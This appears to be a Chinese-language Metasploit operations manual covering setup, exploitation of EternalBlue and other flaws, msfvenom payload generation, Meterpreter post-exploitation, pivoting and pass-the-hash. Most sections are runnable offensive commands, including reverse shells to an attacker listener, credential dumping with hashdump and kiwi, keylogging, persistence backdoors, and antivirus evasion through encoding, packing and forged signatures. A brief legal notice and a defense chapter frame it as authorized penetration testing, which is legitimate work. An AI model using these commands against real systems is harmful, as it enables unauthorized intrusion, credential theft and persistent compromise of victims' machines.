Metasploit 操作手册
Author: Asterism && Deepseek Date: 2026.3.17
Lastest edited on 2026.3.19
目录
- 第1章 Metasploit 概述
- 第2章 环境搭建与基础配置
- 第3章 Metasploit 基础使用
- 第4章 信息收集
- 第5章 漏洞利用
- 第6章 Payload 详解
- 第7章 Meterpreter 后渗透
- 第8章 内网渗透与横向移动
- 第9章 辅助模块深入
- 第10章 编码器与免杀
- 第11章 自动化与脚本编写
- 第12章 社会工程学工具包(SET)结合
- 第13章 第三方工具集成
- 第14章 日志、报告与数据库
- 第15章 实战案例演练
- 第16章 安全建议与防御
- 第17章 附录
第1章 Metasploit 概述
1.1 什么是 Metasploit
Metasploit 是一款开源的渗透测试框架,集成了大量已知漏洞的利用代码、攻击载荷、辅助模块等,帮助安全人员验证漏洞、进行渗透测试。它由 Rapid7 维护,是目前最流行的渗透测试工具之一。
1.2 Metasploit 体系结构
Metasploit 采用模块化设计,核心组件包括:
- Exploit(漏洞利用模块):针对特定漏洞的攻击代码。
- Payload(攻击载荷):漏洞利用成功后执行的代码,如反弹 Shell。
- Auxiliary(辅助模块):用于扫描、信息收集、嗅探等,不直接获取权限。
- Encoder(编码器):对 Payload 进行编码,规避检测。
- Post(后渗透模块):在获得会话后执行进一步操作,如提权、哈希抓取。
- NOP(空指令生成器):用于缓冲区溢出对齐。
1.3 核心概念
- Listener:等待目标回连的监听器。
- Session:成功建立的连接会话,可以是 Shell 或 Meterpreter。
- Handler:处理入站连接的模块,通常与 Payload 配合使用。
1.4 法律与道德规范
Metasploit 是一把双刃剑。未经授权对任何系统进行测试均属违法行为。请仅在您拥有合法授权的环境中(如自建靶机、授权渗透测试)使用。
第2章 环境搭建与基础配置
2.1 安装 Metasploit
- Kali Linux:默认集成,直接使用。
- 其他 Linux(Debian/Ubuntu):
sudo apt update && sudo apt install metasploit-framework - Windows/macOS:可从 Rapid7 官网下载安装包,或使用 Docker 镜像。
2.2 启动 msfconsole
sudo msfconsole
首次启动可能较慢,需初始化数据库。
2.3 配置数据库(PostgreSQL)
Kali 中默认配置,可用 db_status 检查。若未连接:
systemctl start postgresql
msfdb init
数据库用于存储扫描结果、主机信息等,便于管理。
2.4 更新 Metasploit
msfupdate
或通过包管理器更新。
2.5 靶场环境搭建
- Metasploitable2/3:专门为练习设计的漏洞靶机。
- VulnHub:提供多种虚拟机镜像。
- 自建 Windows/Linux 虚拟机:注意关闭防火墙并保留漏洞。
第3章 Metasploit 基础使用
3.1 msfconsole 基本命令
| 命令 | 说明 |
|---|---|
help | 显示帮助 |
search <关键词> | 搜索模块 |
use <模块路径> | 使用模块 |
info | 显示模块信息 |
show options | 查看模块参数 |
set <参数> <值> | 设置参数 |
run / exploit | 执行模块 |
back | 退出当前模块 |
exit | 退出 msfconsole |
3.2 工作区管理
workspace -a <name> # 创建并切换
workspace # 查看当前
workspace <name> # 切换
workspace -d <name> # 删除
工作区隔离不同项目的数据。
3.3 模块查找与信息查看
search type:exploit platform:windows cve:2021
use exploit/windows/smb/ms17_010_eternalblue
info
show options
show targets # 查看支持的目标系统版本
3.4 第一个漏洞利用实战(永恒之蓝)
假设靶机为 Windows 7(未打补丁):
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set LHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
成功后进入 Meterpreter 会话。
3.5 会话管理
sessions -l列出会话sessions -i <ID>进入会话background挂起当前会话kill <ID>关闭会话
第4章 信息收集
4.1 使用 auxiliary 模块扫描
端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
set THREADS 10
run
服务识别
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.10
run
特定服务枚举
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/http/http_version
4.2 使用 db_nmap 集成 Nmap
db_nmap -sV -p 1-1000 192.168.1.10
结果自动存入数据库,可用 hosts、services 查看。
4.3 管理数据库结果
hosts
hosts -c address,os_flavor
services -p 445
vulns # 查看发现的漏洞
loot # 查看获取的凭据、文件
第5章 漏洞利用
5.1 exploit 模块基础
每个 exploit 都有必需的参数,如 RHOSTS、RPORT、LHOST、LPORT,以及可选的 TARGET(指定系统版本)。
5.2 设置 exploit 选项
set RHOSTS 192.168.1.10
set RPORT 445
set LHOST 192.168.1.100
set LPORT 4444
set TARGET 1 # 根据 show targets 选择
5.3 选择正确的 payload
根据目标操作系统、架构及网络环境选择,详见第6章。
5.4 执行与排错
- 使用
check命令(部分模块支持)预检测漏洞是否存在。 - 若利用失败,检查网络、防火墙、漏洞条件、payload 兼容性。
- 启用详细输出:
set VERBOSE true
5.5 常用 exploit 示例
- MS17-010(永恒之蓝):
exploit/windows/smb/ms17_010_eternalblue - SMBGhost(CVE-2020-0796):
exploit/windows/smb/cve_2020_0796_smbghost - Tomcat 弱口令部署:
exploit/multi/http/tomcat_mgr_deploy - Apache Struts2:
exploit/multi/http/struts2_rest_xstream
5.6 多目标与批量利用
使用 set RHOSTS file:/path/targets.txt 或循环脚本批量扫描利用。
第6章 Payload 详解
本章内容整合了之前的《Metasploit Payload 操作手册》,以下为要点。
6.1 Payload 基础概念
Payload 是漏洞利用成功后执行的代码,分为 Staged(分阶段)和 Stageless(单阶段)。
6.2 Payload 分类
- 按连接方向:
reverse_*(反向)、bind_*(正向) - 按功能:
shell、meterpreter、exec、adduser等 - 按阶段:Staged(如
meterpreter/reverse_tcp)、Stageless(如meterpreter_reverse_tcp)
6.3 如何选择 Payload
考虑因素:目标 OS/架构、网络环境、功能需求、稳定性、免杀需求。
6.4 使用 msfvenom 生成 Payload
基本语法:
msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f <format> -o <output>
常用选项:
-e指定编码器-i编码次数-x模板文件-k保留模板功能
6.5 配置监听器
use exploit/multi/handler
set payload <与生成一致的 payload>
set LHOST <IP>
set LPORT <PORT>
exploit -j
6.6 常用 Payload 速查表
| 目标平台 | Payload 名称 | 类型 | 说明 |
|---|---|---|---|
| Windows x86 | windows/meterpreter/reverse_tcp | Staged | 经典反向 Meterpreter |
| Windows x64 | windows/x64/meterpreter/reverse_tcp | Staged | 64位反向 Meterpreter |
| Linux x86 | linux/x86/shell_reverse_tcp | Stageless | 反向 Shell |
| Android | android/meterpreter/reverse_tcp | Staged | Android Meterpreter |
| PHP | php/meterpreter_reverse_tcp | Stageless | PHP Meterpreter |
详细示例见附录及之前手册。
第7章 Meterpreter 后渗透
7.1 Meterpreter 基础命令
help:查看所有命令sysinfo:系统信息getuid:当前用户getpid:当前进程 PID
7.2 文件系统操作
upload /local/file C:\\target\\pathdownload C:\\target\\file /local/pathedit <file>:编辑文件cat <file>:查看文件内容ls、cd、pwd、rm、mkdir
7.3 进程管理
ps:列出进程kill <PID>:结束进程migrate <PID>:迁移到指定进程migrate -N explorer.exe:迁移到 explorer.exe
7.4 系统信息收集
ifconfig/ipconfig:网络配置route:路由表arp:ARP 缓存netstat:网络连接getenv:获取环境变量
7.5 提权
getsystem:尝试自动提权(多种技术)- 使用 bypassuac 模块:
background use exploit/windows/local/bypassuac set SESSION 1 run
7.6 凭据获取
hashdump:抓取本地用户哈希(需 SYSTEM)kiwi模块(原 mimikatz):load kiwi creds_all lsa_dump_sam
7.7 键盘记录与屏幕截图
keyscan_start/keyscan_dump/keyscan_stopscreenshot:截取桌面
7.8 令牌操作
steal_token <PID>:窃取令牌rev2self:恢复原始令牌
7.9 后渗透模块(post)
use post/windows/gather/enum_logged_on_users
set SESSION 1
run
常用模块:enum_patches、enum_services、check_vm 等。
7.10 持久化后门
run persistence -X -i 60 -p 4444 -r 192.168.1.100
-X:开机自启-i:重连间隔(秒)-p、-r:监听端口与 IP
也可使用 exploit/windows/local/persistence 模块。
第8章 内网渗透与横向移动
8.1 端口转发(portfwd)
在 Meterpreter 中:
portfwd add -L 0.0.0.0 -l 33389 -p 3389 -r 10.10.10.5
将内网 10.10.10.5 的 3389 转发到本机 33389,随后可用 rdesktop 127.0.0.1:33389 连接。
8.2 添加路由(autoroute)
通过已控机器访问内网:
background
route add 10.10.10.0 255.255.255.0 1 # 1 是会话ID
或使用 post 模块:
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
run
8.3 SOCKS 代理
- 启动 socks_proxy:
use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 set SRVPORT 1080 run -j - 配置 proxychains:编辑
/etc/proxychains4.conf,添加socks4 127.0.0.1 1080 - 使用 proxychains 运行工具:
proxychains nmap -sT -Pn 10.10.10.5
8.4 内网漏洞利用
添加路由后,MSF 可直接攻击内网主机:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 192.168.1.100 # 攻击机 IP
run
8.5 PTH(Pass The Hash)
若获得 NTLM 哈希,可直接用哈希登录:
use exploit/windows/smb/psexec
set RHOST 10.10.10.5
set SMBUser Administrator
set SMBPass <LMHASH:NTHASH> # 格式如 aad3b435b51404eeaad3b435b51404ee:哈希
run
8.6 域渗透初步
- 使用
auxiliary/gather/ldap_query查询域信息 post/windows/gather/enum_domain枚举域- 利用 Kerberos 攻击(需额外工具)
第9章 辅助模块深入
9.1 扫描器模块
- 端口扫描:
auxiliary/scanner/portscan/* - 服务扫描:
auxiliary/scanner/*/*_version - 漏洞扫描:
auxiliary/scanner/smb/smb_ms17_010等
9.2 管理模块
post/multi/manage/*:如autoroute、shell_to_meterpreterauxiliary/admin/*:如smb/psexec_command
9.3 网络协议欺骗与嗅探
auxiliary/spoof/*:ARP 欺骗、DNS 欺骗auxiliary/sniffer/*:抓包分析
9.4 拒绝服务测试(谨慎使用)
auxiliary/dos/*:仅授权环境使用。
9.5 Fuzzing 模块
auxiliary/fuzzers/*:用于漏洞挖掘。
第10章 编码器与免杀
10.1 编码器原理
编码器通过改变 Payload 的字节序列,绕过基于签名的杀毒软件检测。但现代 AV 多使用行为分析,编码器效果有限。
10.2 常用编码器
x86/shikata_ga_nai:多态编码,常用。x86/jmp_call_additive、x86/call4_dword_xorx64/xorcmd/powershell_base64:PowerShell 编码。
10.3 编码实战
msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
10.4 免杀技巧
- 使用模板文件捆绑(
-x) - 自定义加载器(如 PowerShell 反射加载、Shellcode 加密)
- 加壳(如 UPX)
- 数字签名伪造
- 分离免杀:将 Shellcode 放在远程服务器,本地只加载。
第11章 自动化与脚本编写
11.1 Resource 脚本(RC 文件)
将 msfconsole 命令写入 .rc 文件,用 resource 执行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j
执行:msfconsole -r handler.rc 或在 msf 内 resource handler.rc
11.2 使用 makerc 记录命令
在 msfconsole 中执行一系列操作后,输入 makerc /tmp/script.rc 保存历史命令。
11.3 基础 Ruby 脚本入门
Metasploit 模块用 Ruby 编写。简单示例(自定义 auxiliary):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'My Custom Scanner',
'Description' => 'Scans for something',
'Author' => ['Your Name'],
'License' => MSF_LICENSE
))
register_options([
OptString.new('RHOSTS', [true, 'Target address range'])
])
end
def run
print_status("Scanning #{datastore['RHOSTS']}")
# 扫描逻辑...
end
end
将脚本放入 ~/.msf4/modules/auxiliary/scanner/ 即可使用。
第12章 社会工程学工具包(SET)结合
12.1 SET 简介
Social-Engineer Toolkit(SET)专注于社会工程学攻击,如钓鱼邮件、恶意文件生成。
12.2 使用 SET 生成恶意文件
sudo setoolkit
选择 1) Social-Engineering Attacks -> 4) Mass Mailer Attack 或 2) Website Attack Vectors 等。生成的文件可与 Metasploit 监听器结合。
12.3 结合 Metasploit 监听
SET 生成的 Payload 默认使用 Metasploit 格式,只需在 MSF 中启动对应 Handler 即可接收会话。
第13章 第三方工具集成
13.1 与 Nmap 集成
- 通过
db_nmap直接导入结果。 - 使用
proxychains让 Nmap 走 MSF 代理。
13.2 与 Sqlmap 集成
在获得 Web Shell 后,可通过代理让 Sqlmap 探测内网数据库:
proxychains sqlmap -u http://10.10.10.5/sql.php?id=1
13.3 与 Burp Suite 结合
设置 Burp 上游代理为 MSF SOCKS 代理,或将 Burp 扫描结果导入 MSF 手动验证。
13.4 与 Empire/Cobalt Strike 联动
可以将会话派生(spawn)给其他 C2 框架,或通过外部 C2 控制 MSF 会话。
第14章 日志、报告与数据库
14.1 数据库管理进阶
db_export -f xml /path/report.xml:导出报告。db_import /path/nmap.xml:导入外部扫描结果。hosts -R:将当前主机列表设为 RHOSTS(配合services使用)。
14.2 记录会话与操作
sessions -s <script>:对多个会话执行脚本。spool /path/log.txt:将控制台输出保存到文件。
第15章 实战案例演练
15.1 从外网打点到内网域控
- 外网 Web 漏洞 getshell,获得低权限会话。
- 提权至 SYSTEM,抓取哈希。
- 发现内网网段,添加路由,扫描域控。
- 利用 MS17-010 或 PTH 攻击域控。
- 获取域管理员哈希,登录域控,完成渗透。
15.2 使用 MSF 完成一次完整渗透测试
- 信息收集(db_nmap、辅助模块)
- 漏洞扫描与利用
- 后渗透(提权、哈希、持久化)
- 内网横向移动
- 报告生成
15.3 常见漏洞环境攻略
- Metasploitable 2:vsftpd 后门、UnrealIRCd、Samba 等。
- VulnHub 靶机:如 Kioptrix、DC 系列。
第16章 安全建议与防御
16.1 检测 Metasploit 攻击
- 监控常见端口(4444、5555 等)的反向连接。
- 检测 SMB 流量中的永恒之蓝特征。
- 使用 EDR 监控 Meterpreter 行为(如进程注入、哈希抓取)。
16.2 防御措施
- 及时打补丁。
- 最小化开放端口,启用防火墙。
- 使用强密码,启用多因素认证。
- 部署杀毒软件并定期更新。
- 网络分段,隔离重要资产。
16.3 日志审计
- 开启 Windows 安全审计,记录登录事件。
- 定期审查系统日志,发现异常。
第17章 附录
17.1 msfconsole 命令速查
| 命令 | 说明 |
|---|---|
help | 帮助 |
search | 搜索模块 |
use | 使用模块 |
show options | 显示选项 |
set | 设置选项 |
run | 执行 |
back | 返回 |
sessions | 会话管理 |
jobs | 后台任务 |
workspace | 工作区 |
db_nmap | 调用 Nmap |
hosts | 查看主机 |
services | 查看服务 |
17.2 msfvenom 输出格式列表
exe:Windows 可执行文件elf:Linux 可执行文件raw:纯二进制 Shellcodepython:Python 代码c:C 语言数组ps1:PowerShell 脚本php:PHP 代码asp:ASP 脚本war:Java Web 应用包macho:macOS 可执行文件dll:Windows DLLvba:VBA 宏hex:十六进制字符串
17.3 常用编码器列表
x86/shikata_ga_naix86/jmp_call_additivex86/call4_dword_xorx64/xorcmd/powershell_base64php/base64
17.4 Payload 命名规则详解
操作系统/架构/功能/连接方式,如windows/x64/meterpreter/reverse_tcp- 单阶段(stageless)用
_连接,如windows/meterpreter_reverse_tcp
17.5 常见错误与解决方案
| 错误 | 可能原因 | 解决方法 |
|---|---|---|
Exploit failed: No target specified | 未设置 RHOSTS | set RHOSTS <IP> |
Connection refused | 目标未开放端口或防火墙阻止 | 检查端口、防火墙规则 |
The target is not vulnerable | 目标已打补丁 | 更换目标或使用其他 exploit |
Failed to load module | 模块路径错误 | 检查模块名,使用 search 确认 |
Session died | 目标重启或网络中断 | 尝试持久化,重新获取 |